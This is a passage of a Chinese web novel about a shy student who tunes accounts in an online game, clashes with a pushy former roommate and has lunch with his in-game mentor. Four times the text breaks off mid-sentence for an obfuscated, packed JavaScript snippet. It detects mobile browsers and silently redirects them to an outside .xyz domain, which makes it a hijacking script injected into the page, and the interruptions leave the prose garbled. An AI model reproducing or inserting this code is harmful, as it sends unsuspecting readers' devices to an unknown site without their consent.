那头的濯清沉默了有些时间。直到时和用备忘录挨个登记好需要调号的人,濯清倏地笑开声:“妈妈果然是老了,思想觉悟还不如你们年轻人高。” “宝贝,节日快乐。” 朦胧华灯比烟花更加绚烂。 ** 可谁知绚烂过了头,物极必反。隔天一早,时和上游戏就撞见了纪帆。 消息列表有三条未读提醒,两条是昨晚八点发的,还有一条是五分钟前。 [寂沐梵:草!你这有点猛啊!] [寂沐梵:这砸了多少?] [寂沐梵:老板,带带我呗?帮我的号也搞搞!我卡十六万一星期了,能帮我搞到二十万不?] 时和心说:“白日做梦。” 宴云川的账号满神装才二十一万。 他调整呼吸,跳过“砸多少的话题”,点开纪帆资料仔细从头看到尾,又拉表格算了一遍资源分配,最后问了句:[资源,多少?] [寂沐梵:什么资源。] [己见:材料。] [寂沐梵:哦。] [寂沐梵:你们圈子说话都这么费劲?] 纪帆这话等于把宴云川和引驾行一起骂了进去。时和不满蹙眉,打着字:[没有圈子。]正想发出去,纪帆两条消息连着蹦上来。 [寂沐梵:你直接上我号看呗。] [寂沐梵:加个VX,我发你。] 他慌乱地把打好的字全部删掉。 纪帆的微信一直躺在列表里。可如果同意“加微信”,就等于暴露了自己。想到会暴露,时和额头瞬间冒出虚汗,久违的心慌感从指尖涌向全身。 他捏紧了鼠标,鼠标在屏幕上转了个圈。转到左下角频道聊天框时,他看见世界频道有人挂拍代购业务。幻世录禁止代购,这人便用“/”把敏感词分开,借此逃避系统监督。 既然这样,游戏账号应该也可以。 他敲字:[游戏发,用/。]用“/”把账号密码分开,就不会被系统屏蔽。 纪帆秒回:[不嫌麻烦啊?] 不嫌。 这句话没打出去。时和唇角因为紧张抿成了直线。正思考应该怎么回复,纪帆发了账号密码。 [寂沐梵:行了,发你了。] 紧绷的嘴角一瞬放松开来。 切出登录界面,登录记录还保留着单身的账号信息。时和把记录删了,又输入纪帆的。 这是他第一次上纪帆的账号。一上线,纪帆的消息列表跟百万大军进攻似的一直亮提醒,全程没有停过。 想到在宿舍那会,纪帆休息日能从起床一直开麦聊到睡觉,时和对这场景有点意料之中。 无视掉列表提醒,他直接点开纪帆背包,同时打开了表格。纪帆的资源明显刚用完,背包能用的材料只有这周刷新的礼包,好在周常没做。 帮派群有眼尖的留意到时和上线又下线,@他问是不是在调号。 时和回了个:[嗯。] 那人便试探着问能不能给他也排个队。 宴云川上午不在。想着上午不忙,昨晚要调号的也都还没给账号密码,时和便加了他微信。微信通过,那人直接发了一个三百的红包。 时和回了个:[不用。] 那人客客气气地说:[要的要的。] 时和想了想,又回了个:[帮众。] 那人沉默了好几分钟,发了一个跪谢的表情。 看,别人都能听懂他说话。 时和尾指满意地在鼠标一侧点了两下。 等计算好纪帆的资源,时和切回自己账号。他突然想到一件事:他跟纪帆的交流仅限于游戏。没了游戏,两人等于断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639701|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了联系。 时和有点茫然。 茫然不过一分钟,列表就亮起了星引头像。 [寂沐梵:还挺快。] [寂沐梵:怎么说?能涨多少?] 纪帆怎么知道自己下号了? 揣着疑惑,时和发了句:[十七万。] 纪帆马上说:[你不是能一天四万吗?] 时和眉宇挤出了一座珠穆朗玛峰。 熟悉的理直气壮语气,甚至带着点理所当然的催促,仿佛别人帮忙是天经地义的事。 纪帆还是一如既往的没有边界感,对谁都一样热络。刚进宿舍那会,他以为这是友情,后来才明白,那不过是不分对象、空洞的“博爱”——随时能给,也能瞬间收回,更能翻作厌恶。 但总归是要帮忙的。 时和强迫自己松开眉头,在心里不断重复“这是欠纪帆的”,又起身喝了水,压下那阵逃避感才坐回电脑前打字道:[因为天赋低。] 天赋低,涨得快。 就像蓄水池,水少,所以相对涨幅高。但是纪帆已经十六万了,而且身上装备大多已经稀有。目前长安古韵服务器平均天赋值是十五万,在没有神装的情况下,资源最大利用也只能接近十七万。 纪帆显然对这个说辞不太满意,回复的“行吧”都充满了勉强。 ** 调了号,时和以为今天和纪帆的交流到此为止了,谁知纪帆来了句:[你的白虎是川老板送的?] 这是什么意思? 时和犹豫着回:[嗯。] [寂沐梵:三千的白虎说送就送,还得是川老板。你调号的钱也是他给的?] 这话任谁来都能听出阴阳怪气。时和捏在鼠标上的骨节见了白,才控制住想反驳的情绪。 他回道:[不是。] 纪帆又问:[你是妹子吧?] 时和:[不是。] [寂沐梵:真的假的?] [寂沐梵:川老板没事收男徒弟做什么?] 终于,时和没忍住。 [己见:没人规定男生一定要收女徒弟。] 正常人都能听出时和话里的不满,可偏偏纪帆脑回路异于常人。他跟看不明白情绪似的发了个“嘻哈”表情包,转而又问:[川老板什么时候带你打童趣节副本?算我一个呗。] 十七万的输出,随便组一个野队都能进。时和不明白纪帆为什么缠着自己。他有种说不上来的烦闷,就像给濯清电话号码的那晚一样。 他好像又间接地“出卖”了宴云川。 带着焦躁,时和回道:[要问宴云——]打到“宴云川”三个字,他反应过来,改成:[要问川云。] [寂沐梵:你不是他徒弟吗?让谁进还不你是一句话的事,他那么宠你。] 一个“宠”字,时和听出了三分轻蔑三分调戏。 若这人不是纪帆,他一定会删除好友——不,若不是纪帆,他根本不会出现在自己列表里。 这种想删人又不得不留的感觉就像被迫吃了一盆最不爱的青菜,还吃到了菜虫。时和气得眼睛洇出一层红,换了好几次呼吸才继续打字:[他是队长,他做主。]发完这句话,他直接下了号。 38.Chapter·要求 离星络网吧八公里的公寓楼里,宴云川躺在床上约莫一小时了,可困意就像离家出走一样。睡不着,干躺着反而引起焦虑,他翻了两个身,决定遵从本心,从枕头底下拿出手机。 点开微信,帮里一人私聊发了个截图。 半夏生:“川老板,求翻译!见爹这是啥意思,我这红包还要不要给啊?不给也不太好吧?” 图片是她跟时和的聊天记录。宴云川盯着时和发的“帮众”和那三百的红包笑了一声,仿佛看见时和在包厢正襟危坐如临大敌还得端着的模样。 主播调号的市价只有堪堪两百,半夏生一给给了三百,得让他这小徒弟竖好几道防御墙。 他按着语音帮忙翻译:“一个帮的,不用给红包。嗯……真想送点什么,可以在游戏里给他送大红花,也不要太多,十几朵就行。” 幻世录的大红花可以增加角色知名度,不同等级知名度可以获得不同奖励。而且红花只能瑶池获取,属于瑶池“垃圾”。很多人抽了瑶池,就在世界找人互换,或者挂去海鲜市场转卖。 听见只是送花,半夏生战战兢兢开口:“那些花不值钱啊……川老板,这样是不是太寒碜了?” 不寒碜,对于时和刚刚好。 经过一段时间相处,宴云川发现送给时和的东西都得有个由头。由头也很讲究,得有个特殊的价值,比如节日,而且得有个交换物。比如……猪脚饭。 想到猪脚饭,又想到林朔野第一次送礼被拒的场面,他哑然道:“送花他才拒收不了。”也不会有太大的心理负担,不会一直惦记要还些什么。 半夏生:[不明觉厉.jpg] 发完这个表情包,半夏生就消失了。消失不过两分钟,她又跑回来:“谢谢川老板!见爹说等会帮我调号。我送了他十五朵玫瑰,他果然没说不用,还跟我说了谢谢!” 半夏生:“呜呜呜,见爹人太好了!” 半夏生:“就是容易卖了自己还帮人数钱!” 最后一句“心里话”发出来又撤回,宴云川手快听见了。他认同地“嗯”了一声,嗯”完又觉得这样容易让小徒弟丢面子,又取消语音,转为打字,逗趣道:[转文字看见了,还截图了。] 半夏生:“你不做人!” “不做人”的余调在昏暗的卧室绕梁三圈,搭配宴云川红得能演吸血鬼的眼睛,直接从夸张手法变成了写实。经过一番聊天,所剩无几的困意消失殆尽。宴云川心说睡床不行,“耐药”。他顶着头疼起床,本想打游戏,可眼睛看着大屏就抗议,只好转战到了沙发,挑了个蓝光眼镜戴着,继续玩手机。 临近九点,群里消息陆续往上冒。单身约了四个在线的人打周常,又带着清絮去鏖战PK场。昨晚嚷着要调号的几个人陆续冒泡,五六句消息就夹着一个耳机的头像,还有简单的:“好。” 宴云川点开耳机头像。 [在调号吗?]他给时和发去消息。 [嗯。]消息秒回。 秒回跟了一句:[在网吧?] 宴云川打道:[在家,不是很困就没睡。] 他按了按语音,又松开。本想语音问“下午有没有时间打本”,又觉得开口太容易暴露自己困到发疯又睡不着的惨样。这样“不是很困”就站不住脚了。 可惜现在也站不住脚。 时和:[通宵班。] 宴云川笑了笑:[徒弟没白养,知道关心师父了。]打完这句话,耳机就“静音”了。 这话发的纯属没睡够头脑生热,宴云川也愣了一下。迄今为止,他和时和都没叫过对方“师父”或者“徒弟”,平时称呼都默认“你、我”,或者不带主语。谁也没先开口,谁也没觉得不对。 仿佛一开始两人便是久别重逢的好友。 不知怎的,宴云川动了想让时和叫声“师父”的念头。好像这样,他们的关系就能退一步,退到“游戏师徒”的关系,更安全一些。就像凌岳……如果凌岳不是他的朋友,之后的一切就不会发生。 想到凌岳,弹窗叮一下弹出新的消息。 [伯母:下周别忘了。] 下周六是凌岳母亲生日,这是来提醒他别忘记送礼物过去。今年的提醒只提前了十来天,能称得上一句“信任”,不像一年前,提前两个月便开始各种暗示和催促。 对于这份“信任”,宴云川不知道该高兴还是该失笑。凌岳母亲的头像是一片艳阳,艳到戴着蓝光眼镜都觉得眼睛疼。他摘下眼镜,喘了喘气,揉着眉心回道:“记得的,伯母放心。” 转念想:下周六…… 他找到沈停微信问:[下周几来网吧?]消息发出去没回复。 这周好像满课,估摸是奋笔疾书去了。 关掉沈停对话框,宴云川又点开那个“静音”的耳机:[下午打本吗?] 耳机勉为其难开了声:[打。]而后,就跟网络不佳似的,时不时冒出一个“正在输入中”。 正在输入的三个点一下出来,一下消失。一般这种情况就是时和遇见了为难的话题。宴云川看了一眼自己发的消息,又问:[时间不方便吗?] 正在输入停了一下。 [方便。] 看来不是打本的问题。 他换了个姿势,面向靠背侧躺,又把抱枕抽出来随意丢在身后,静静等着三个点结束。 手机右上角的时间跳了三分。 客厅拉了窗帘,不透光,白天也暗得跟夜半三更似的。从医学角度解释,这样方便分泌褪黑素。 空调声音沙沙吹着,腰上压着抱枕的触感。宴云川不自觉打了个哈欠。也不知道是褪黑素延迟分泌了还是聚焦一个地方容易催眠,等着等着,困意冷不防涌上来,手机嘭一下掉进了沙发缝里。 掉落之际,时和发来消息:[有个熟人想一起打,星引,十六万八。可以吗?] ** 消息发出去半小时了,微信跟被拉黑了一样安安静静。关掉上午最后一个调号的账号,时和端着水壶走到客厅接水。他倚着墙,在心里写了篇万字忏悔录。 应该直接拒绝纪帆的,或者自己去打黑工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651113|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。现在这样,倒像把难题抛给了宴云川。 消息已经撤不回了。时和点着聊天框,指尖按在二十六键上,不知道从哪里开始落笔。 纠结了有一会,他打字道:[对不起。] 这声对不起直到午饭后才有回复。宴云川发了很长一串语音。时和点开,沙哑的声音透过听筒传来,像是刚睡醒,裹着暖哄哄的懒。 “不用道歉,带个朋友而已,正好缺输出。”语音听到这顿了一下,声音似乎放缓了些,“你是我徒弟,可以对师父提要求。别想太多。” 一声“徒弟”一声“师父”,似乎在提醒着两人除了朋友还有一层特殊关系。时和又想到了宴云川上午说的“徒弟没白养”。他捏了捏耳垂。师徒果然比朋友听上去更亲密。 鬼使神差的,时和又想到那个问题: [为什么收我——] 字打到一半,对面一家阳台打开,光随着玻璃推拉折射到眼睛里。他理智回笼,赶紧把疑问句删了,变成一句:[谢谢。] 约好了副本时间,到了下午,时和发现纪帆不在线。昨天也是这样,一下午都不在。他合理怀疑这学期苍大把课都安排在了下午。 “朋友”不在,宴云川就把副本改到了第二天早上。他给纪帆留了个言,趁这时间,两人又把周常打了。时和天赋值也到了十五万二。 隔天一早,纪帆果然上线了。 宴云川重金在帮派找了个靠谱的主T进队。除了主T,剩下一个也是帮派里的人。他们看见纪帆“哟”了一声:“川老板,新朋友?” “己见的朋友。” “原来是见爹朋友!失敬失敬!” 这声“失敬”刚客套上,纪帆就自来熟地开始搭话:“如果川老板愿意的话,我们也可以交个朋友!川老板,加个好友呗?以后一块打本啊!” 纪帆一开麦,队伍频道都沉默了。 时和也沉默了。 原本“朋友”两个字从纪帆口里说出来他就觉得头皮发麻,这会听见纪帆声音,发麻的头皮一个哆嗦,炸开了。 原因无他,主T:“姐妹,你声音挺电啊。” 没错,纪帆的声音是个妹子,而且是一听就可以把人灵魂夹出窍的妹子。 时和惊恐地点开纪帆资料,从ID到职业仔细看了一遍,又在服务器搜索“寂沐梵”三个字,再三确认全服仅此一人,童叟无欺,这才收了下巴。 既然没认错人,那这是……开变声器了? 纪帆还在夹着嗓子套近乎,说什么“声音天生这样”。队里剩下两人也不知道信没信,反正是聊得热火朝天的,甚至互相加上了好友。 时和的三魂刚跟身体融上,就收到宴云川私聊:[朋友……是女生?] 宴云川鲜少发六个点,想来也有点怀疑人生。 时和恍惚地回:[男生。] 宴云川:[怪不得。] 时和:[什么?] 宴云川:[声音的确很独特。] 丢失的三魂七魄随着一声颤笑全部归体。 39.Chapter·怪举 队里三个熟手,副本打的相当顺利。只是结尾的时候出现了一个小插曲:BOSS掉落了一个高阶技能书。——副本掉落向来以运气获胜,队里只有两个首通,技能书自然落在了时和背包。 而后,纪帆以“差一点就能十七万”的由头,让时和把技能书送给了他。 原以为事情到此结束,没想到只是一个开始。 隔天,时和上线,又碰见纪帆。 [寂沐梵:今天你和川老板几点做日常?] 又过一天,纪帆依旧准时报到。 [寂沐梵:0点更新周本,你跟川老板几点打?] 除了日常、打本,纪帆还会时不时发表一些如“单身衣服帅爆了,本来想入手,可惜A了一段时间,下架了”、“明天出的新时装好想下手,可惜生活费借同学了”、“瑶池新坐骑哪个欧皇帮忙抽一下,我太非,上两期都没抽到”之类的言论。 单身向来出手阔绰,跟着打了一次周本,听见是时和朋友,大手一挥送了三套时装。时和又帮忙上线抽了二十发瑶池。但是“欧”这件事不会随着号主而转移,二十发除了两套时装,无事发生。 为此,纪帆唉声叹气了整整两天,说什么:“看来欧不改穷,欧气都是氪金玩家的特权,又浪费了二十个抽奖券。”直接把锅扣到了时和头上。 这锅扣的实在不讲道理,单身话里有话的提醒了一番。可时和什么也没说,默默上纪帆号买了二十个抽奖券,就以要调号为由头下线了。 经过“茗铺事件”、“情侣挑衅事件”、“抢板凳回怼事件”,单身自认为时和不是一个没底线的人,相反,底线值挺高,属于看着闷闷声声,但你打我一锤我必一锤锤爆你的不吃亏类型。 这么憋屈实在有鬼。 他直接私聊宴云川:[有没有觉得你徒弟怪怪的?那真的是朋友?不是被威胁了或者抓把柄了?] 单身都能发现的事,宴云川自然也能发现。收到私聊的空档,宴云川正在给时和打电话 桌上的台历已经翻到了周五。榕城的雨断断续续下了一礼拜,空气湿漉漉的,闷得喘不上气。 时和接到宴云川电话还挺诧异的,毕竟他俩非游戏时间很少打电话。一来宴云川两小时得忙四五趟,聊不顺,二来聊到日常时和就会不自在——那种不自在谈不上讨厌,反而像太久不社交的局促。 可现在就不是游戏时间。 墙上的挂钟刚过一点,宴云川电话上来就问:“现在有空吗?”给时和问的毫无防备。 他下意识回答:“等会去散步。” “那正好。” 好?好什么? 正纳闷,宴云川来了句:“不是要请我吃猪脚饭吗?正好,忙了一早上,我饿了。” “……”饿了? 时和看了眼备注,是宴云川。 宴云川好像又被妖怪附体了。 他喃喃喊道:“宴云川?” 宴云川在那头笑了一下:“嗯,是我。” 肯定被妖怪附体了。 窗外雨滴稀稀拉拉,虽然不大,但也不是吃饭的好日子。可宴云川像是饿狠了。不等时和从“雨天”、“周五”、“吃饭”的逻辑中跳出来,宴云川直接说:“下雨,我去接你,十分钟后到。” 十分钟太过仓促,根本来不及思考。 时和感觉自己像是掉进了游戏里,还没走出新手村就接到了剧情任务,任务还不能放弃。他匆匆从衣柜翻出一套衣服,顾不上冲凉,跑到洗手间抹了两把脸。外套、口罩、帽子挨个往身上套。 十分钟后,时和在小区路边见到宴云川整个人都是懵的,属于人出门了魂还在飘的状态,可能也把脑子落家了——出门太匆忙,他又忘了准备一样特别的、能让宴云川记住的东西。 今天的装扮实在谈不上特别,比起网吧第一次见面还要平庸。简单的白T、黑衬衫短袖外套,还有简单的黑色直筒裤。天阴沉沉的,像去奔丧。 他在心里为自己不着调的封建余孽想法“呸”了两下。正后悔装备选的太不严谨,一个男生骑着滑板从左侧咻声而过。骚包的荧光粉T恤搭配绿色的伞,直接成为阴天里最亮眼的仔。 有了对比,心情有点难崩。 “挺快。”宴云川倚在一辆自行车边。 那个荧光粉的男生瞥了宴云川一眼,放慢了速度。宴云川起身,两人在一棵榕树下交汇。 果然没认出他来。 时和垂眸,脚步停在原地。 认错人还要打招呼的经验他实在没有,眼前的局面在他所掌握的社交知识外。 正想着要不回去,让树下两人将错就错,一双沾了泥星子的白板鞋出现在伞下。时和抬头,透明雨衣压着白皙的手腕,措不及防挤入视线里。 雨伞轻轻挪开,露出宴云川的脸。 “套雨衣吧,伞不方便。” 那个踩着滑板的男生已经滑出百米远,消失在街角。时和目光从街角一抹骚包粉上挪回来,直愣愣看着宴云川,迟疑开口:“你还记得我?” 拿着雨衣的手在半空中顿了一下。好像想到了什么,伞外发出一声短促的轻笑。 宴云川边拆雨衣边说:“师父记不住徒弟是不是有点儿失职了。” 雨衣看上去是新买的,标签还没拆。包装袋上积攒的雨水顺着小臂滴到手肘。 时和盯着手肘上的雨珠,口罩被撑起一个细微的弧度——徒弟这个称谓,比雨声还要好听。 套上雨衣,收了伞,宴云川拍了拍单车。跟衣服同色系的黑白相间公路车?自行车,装了后座。 “坐过吗?”他问道。 时和点点头:“家里有。” 大学买的,因为从宿舍到教学楼的距离隔了三个人工湖。他不觉得累,但濯清和时熵走了一遍,坚持送来了一辆[永久]变速,没装后座。 坐后座的经历是第一次。 而且,时和惊讶发现,自己无意间跟宴云川穿了“情侣装”——一样的白T黑外套,不过宴云川的外套是一件薄款开衫卫衣。 这发现实在不要脸,他耳垂瞬间红了。好在宴云川在调整座椅,没注意到。 “看来下次得换一辆,”宴云川长腿往车杠上一挎,看向时和,“嗯…电动吧,电动坐过吗?” 时和摇头,不明白话题怎么跳到了车上。 似乎看出了他帽檐下的惶惑,宴云川单脚踩着踏板,噙着笑说:“偶尔体验一下新事物。” “上来。” 时和握着手机,看向后座踌躇:“没报备。” 跟宴云川出门属于临时计划,濯清不知道。 “有门禁吗?”宴云川问。 “没。”但是得报备。 宴云川敲着车把,像是在评估下一步操作。过了有一会,他伸出手:“可以给伯母打个电话。” 可打了电话,濯清就不一定同意了。 时和把手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663738|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往掌心蜷了蜷。那个光怪陆离到令人窒息的酒吧梦境毫无预兆地撞进脑海,连同濯清梦里那张扭曲的脸。 濯清一定不会同意的。在濯清心里,宴云川刚从网友升级到朋友预备役,远达不到信任的标准。 他觉得自己此刻实在贪心得可鄙:既不敢触碰濯清的逆鳞,又不想放弃和宴云川出门的机会。 马路边停下一辆比亚迪,两个穿着校服的学生从车上走下来,背着书包,怀里还捧着一大摞书。 时和和宴云川长得本就引人注目,站在路边僵持更富有故事感。两人下车,推搡着往树下望。 感受到打量的眼神,时和后背瞬间爬上颤意。下意识拿出手机,想打电话给濯清结束僵局。正要拨号,宴云川忽然问:“你一般散步散多久?” 时和动作一滞:“一小时左右。” “一小时……” 手机界面已经调出号码簿。远处抱着书的两个人三步两回头,交头接耳的模样像烧红的针尖。 后背的冷汗越来越密。 就在这时,宴云川抬起头,目光沉静又清和地看过来:“我一个小时内送你回家,就当陪你散步。这样应该不用报备了。” ** 榕城的雨季素有“雾渚江南”的雅称,远处的榕树在雨雾之中若隐若现。自行车像阵风一样飞梭在树荫之间,雨丝夹着风柔柔打在脸上。 老榕树根深叶茂,树根翘开了地面,饶是宴云川再怎么七扭八歪的躲开,依旧躲不全。车轮被树根频频弹起,一下接一下。 “扶稳。” 宴云川的声音混着风声传来。 下一秒,自行车一个急刹转弯,从岔路穿过去。陡峭的榕树根横在路中间,自行车跃过,像是游乐场的过山车一样,高高抛起,又重重落下。 时和双手下意识扣紧前座座板边缘。 车开稳时,宴云川坐下。感受到手被压在软肉之下,他猛地抽回来。耳垂又红透了。 街道变得陌生。“不去……吃饭吗?”时和盯着自己发红的指节,声音几乎被雨声吞没。 “老街道树根密集,红灯也多。换条路走不陡,效率更高。”宴云川稍稍回头,“这条路走过吗?” “没有。” “还算有收获。” 时和不明白宴云川这话是什么意思。今天的宴云川就跟街道的雨一样,说话半隐半现的。 自行车又穿过两条羊肠小道,从两栋伸手就能打招呼的楼房之间一冲而过,视线瞬间开朗。紧闭的网吧大门出现在马路对面。比大路用的时间更快。 过了马路,宴云川把车停在路边。 时和捋着雨衣边角,只听车锁咔嚓一声。宴云川站在车边,掀开雨衣衣帽说了句:“下回遇见走不顺的路可以试试换一条。就像调试程序——”他顿了顿,又轻笑一声,“修BUG,多修几回,总能跑。” 几米外的猪脚饭零星坐着几个穿校服的学生,宴云川熟络上前,隔着雨棚开始点餐。温润的方言混着雨声传来,时和望着雨棚下那道挺拔的黑色背影,恍然看见时熵的轮廓叠在潮湿的空气里。 时熵曾经说过:“在‘自我’和妈妈之间,永远存在未被标注的第三条路。爸爸希望能带你找到那条路。”与宴云川的话异曲同工。 无论是散步的借口也好、换条路也好,好像都是通往目的的第三条路。 只是,宴云川突然约他出来,跟他说这些是为什么?单纯为了吃个饭、骑个车? 40.Chapter·负责 愣神的功夫,宴云川已经走到餐台。“喜欢吃肥点还是瘦点?”他往回望,两桌学生跟着他的目光一块望过来,吃饭的动作都变慢了些。 这个时间已经过了饭点高峰,除了学生,只有一个中年人坐在门边,右手扒饭左手刷着短视频。听见声音,中年人也抬头看了一眼。 时和被四面八方的眼神看得心慌。他目光从门帘飘到隔壁店翘着腿扇扇子的老大爷上,又从老大爷扇子上飘回宴云川的背影,最后说:“瘦点。”其实他吃过了,有点饱。 “吃辣吗?” “不吃。” “葱花香菜呢?” “吃。” “行。” 不想被当成观赏猴,他一步三踱走上前,站在宴云川影子一侧,掩耳盗铃的挡着自己。宴云川有意无意地侧了身,加大了阴影面积。 躲在影子下,余光只有宴云川的肩膀。时和紧绷的肩膀缓上了气,五感好像跟着放松的神经一块恢复了一样。猪脚饭卤汁的香气顺着老板娘搅动锅底的钢勺散出来,他不自觉摸了摸胃。又有点饿。 “两份瘦,一份微辣,一份不辣。”宴云川边点餐边解着雨衣扣,“不辣的那一份给少点饭,可以多淋点卤汁。”雨衣随着尾音一块剥落下来。 好奇怪,好像更饿了。 时和喉结吞咽了一下,手用上了劲。耳边响起一声轻笑:“脱了雨衣会舒服些。”他猛地摇头——当众脱.衣服像在裸.奔,雨衣也不行。 “裸.奔”这个词一闪而过,配着宴云川T恤下若隐若现的锁骨线条。一瞬间,时和脑子里闪过了三四个不该有的“清网”小片段。口罩下的脸直接红成了猪脚饭的颜色。 小片段刚上演到最精彩的部分,一声响指清扫了全部画面。宴云川挪过一块二维码,拉着眼尾地促狭说:“扫这里,一共三十二。” 时和给响指震了一激灵,猪脚饭的脸直直蔓延到脖子根。太久不出门,肌肉仿佛忘记了扫码付款这个动作。他怔忡了几秒,匆忙拿出手机。 身后一桌女生意味深长地“啊”了两下。隐约听见什么“奶狗”、“磕错”、“原来是年下攻”之类的交谈。声音压得很低,听得断断续续。 是在议论他吗?“年下攻”是什么? 模糊的词句像带刺的藤蔓缠上神经,输入密码的指尖压得发白。最后一位数落下,卤锅旁边响起一声:“收款码到账三十二元!”时和手腕一抖,雨衣布料摩擦着手机外壳,发出令人焦躁的窸窣。 倏地,一阵好闻气息裹着潮气靠近。 宴云川退半步挡住了后方视线:“明天高考,附近几个高中下午都放假。政府要求所有娱乐场所暂停营业,我收了一上午的尾,下午没什么事。”他下颌越过后厨朝角落一抬:“坐里面?”角落贴墙摆着一张方桌,被调料台遮了一半。 难怪有时间吃饭。 网吧关门,看来不能打包外带了。时和盯着角落里被全方位遮挡的方桌,简单的“去与留”的选择硬生生演变成了“生与死”的权衡。 不知怎的,明明小餐馆比网吧明亮,人也更少,可他总觉得网吧的包厢更有安全感。 他目光有意无意地看向交谈的那几个女生。其中一个女生眼神对上来,嘴边的话立马停下来,拍了拍旁边的同伴。几人你碰我我碰你,一人抱着一部手机,嘴边挂着默契地笑。 那笑容好像万只蚂蚁在身上爬。 时和仓惶移开目光,眼里洇着生理性水汽下意识看向宴云川。口罩下话语微张,想开口离开。 宴云川被他的眼神撞了一下。 刚想说:“或者打包去网吧吃,他有钥匙。”一个高马尾的女生抱着厚重的笔记本走过来。 “学长好!我是旁边一中的!”女生大方打着招呼,目光在时和和宴云川身上打了个来回,咧着笑问:“你们是哪个大学的呀!” 同桌一女生没忍住,用卷子挡着脸说了声:“纯种E人。”邻桌一男生抬头吹了个哨,放下筷子开始看戏。看两桌的校徽图案,不是同校的。 老板娘正切着配菜,许是难得看见这场面,饶有兴趣地插进话题:“这个小帅哥是旁边网吧老板啦,早毕业了!”她空出一只手指向宴云川。 女生关注点不在网吧老板上。她语气诧异:“毕业了?可是看着像大三欸!” 说着转向时和,“学长,你也毕业了?” 见时和机械摇头,女生用笔记本扇了扇风,呼气说:“还好没翻车。” 又问道:“学长,你是哪个大学的?” 时和僵着嗓子蹦出两个字:“苍大。” 不知这两个字哪个发音不对,女生又一次拖长了“啊——”的尾音,满眼都是“我懂了”。 “我也要考苍大!”她突然斗志昂扬,将手上的笔记本“啪”地展开在两人面前,又抽出一支笔,“学长,给我签个高考祝福语好不好?我已经收集快两页了!网上说这样能带来好运!” 摊开的纸页上挤满了密密麻麻的字迹。有的字体娟秀占在中央,有的龙飞凤舞占满角落一隅。 女生眨着期待的眼睛,翻出一页空白页,用笔帽点了点:“你们可以一起签吗?签一块儿?” 时和第一次碰见这样的情况,整个人都懵了。长久不与人交谈的社交能力在这一刻直接变成了负无穷。他恨不得原地钻个洞把自己埋进去,目光不自觉看向宴云川寻求帮助。 只见宴云川自然地接过笔,在空白页右上角签上一句“祝金榜题名”,又把笔递给他,同时看向女生:“这样可以吗?” 女生点点头:“可以的!学长你字真好看!” 时和顺着声音望过去——宴云川的字跟本人一样,行云流水,干净得像被岁月打磨过的玉。 宴云川都签了,他不签到显得奇怪。 他犹豫着接过笔,笔尖小心翼翼落在金榜题名下面。想到女生提到的“想考苍大”,签上一句:祝得偿所愿。同样五个字,两种不同风格。纸上笔锋遒劲,转折间带着经年临帖的功底。 女生连连夸着这字体可以裱上学校文化墙,等会就发给班主任看,给时和夸得一句比一句耳热。 时和隔着口罩咬嘴角,蜷缩在雨衣下的手指悄悄松开,最初的那点紧张和局促在一句句彩虹屁下变成极浅的、连自己都未曾察觉的愉悦。 原来没有恶意。 ** 带着愉悦,这顿饭还是在店里吃了。 这家猪脚饭确实香。浇汁淋在瘦肉上,咬一口,肉汁顺着喉咙滑进胃里,很舒服。而且,角落的隐蔽性比时和预想得更好。他坐在里桌,宴云川坐在过道,挡住了剩下的视线。 时和吃得很慢。老板娘给的饭其实不多,可被濯清强制训练出来的吃饭速度让他不自觉开始数米粒。他听着宴云川有一句没一句聊幻世录下周小更新的内容,还有职业平衡方向,倒也不无聊。 听到一半,宴云川问:“下午还要调号吗?” 时和抬头:“下午不用。” 这几天宴云川都是下午空一些,所以他把下午的游戏时间留出来了。 而且,下午纪帆一般不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681591|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在线,不用躲。 “明早呢?” “明早要。” “还剩多少个?” “十六。” 宴云川若有所思点着头。 “下周六网吧有幻世录的联动活动,网吧签到可以送资源,还有PK赛。”宴云川话题一转。 “PK赛?” “嗯。” 